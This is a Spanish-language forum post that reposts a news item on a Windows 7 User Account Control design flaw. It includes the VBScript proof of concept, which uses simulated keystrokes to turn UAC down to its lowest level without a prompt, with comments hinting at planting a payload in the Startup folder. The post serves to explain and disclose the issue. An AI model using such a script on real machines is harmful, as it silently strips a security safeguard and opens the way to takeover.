Usabilidad contra Seguridad: ¿Qué hacemos con el UAC en Windows 7?

Iniciado por ProcessKill, Febrero 24, 2010, 03:52:07 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 24, 2010, 03:52:07 PM Ultima modificación: Julio 21, 2014, 07:21:01 PM por Expermicid
Citarpor : Juan Ranchal: 01 Feb 2009, 20:09

El Control de Cuentas de Usuario (UAC) presente en Windows Vista, fue una de las características criticadas por los usuarios ante la gran cantidad de acciones que necesitaban autorización. Estas quejas generalizadas han llevado a Microsoft a permitir en Windows 7 la configuración del nivel de alertas, lo que puede dar como resultado graves problemas de seguridad.

En los últimos días, blogs como Within Windows han informado y demostrado como se puede variar la configuración del UAC mediante código malicioso, hasta conseguir desactivarlo. El usuario no se entera debido a la configuración por defecto presente en Windows 7 (no avisarme cuando haga cambios en la configuración de Windows), por lo que el atacante puede cambiar los archivos del sistema y adueñarse de la máquina:




CitarLa respuesta de Microsoft ante este problema no ha sido demasiado satisfactoria y un portavoz indicó que "esto no es una vulnerabilidad. La intención de esta configuración por defecto de UAC es que no se pida autorización al usuario a la hora de realizar cambios en la configuración de Windows, que incluye cambiar la configuración del mismo UAC".

Es decir que la configuración del control de cuentas en 7 obedece al propio "diseño del sistema". Sarcásticamente, la única solución parece ser volver a la configuración que ofrecía Vista, con sus molestias añadidas que acababan con la paciencia de la mayoría de usuarios que desactivaban directamente esta medida de seguridad.

Quedan unos meses para la versión final y si Microsoft no lo remedia, nos tememos que el UAC seguirá haciendo de las suyas, ahora por distintas razones que en Vista.


Bueno, este es uno de los sitios en donde aparece la noticia referente al nuevo "fallo" del UAC del futuro Win 7, y ahora muchos se preguntarán que hace esto aquí, sencillo, el  POC (Proof of concept) que se ha utilizado para demostrar esto esta codeado en vbs   y he aquí el code:

Código: php
'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"



(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)


Como se ve el script es por demás sencillo, en todo el code solo se aprecian algunas ordenes realizadas a base de sendkeys

Este script básicamente lo que hace es simular la interacción del usuario con lo que serían los mensajes de alerta del UAC, disminuyendo el nivel de seguridad del mismo, lo que permitiría realizar cambios futuros sin ningún tipo de alerta 

Saludos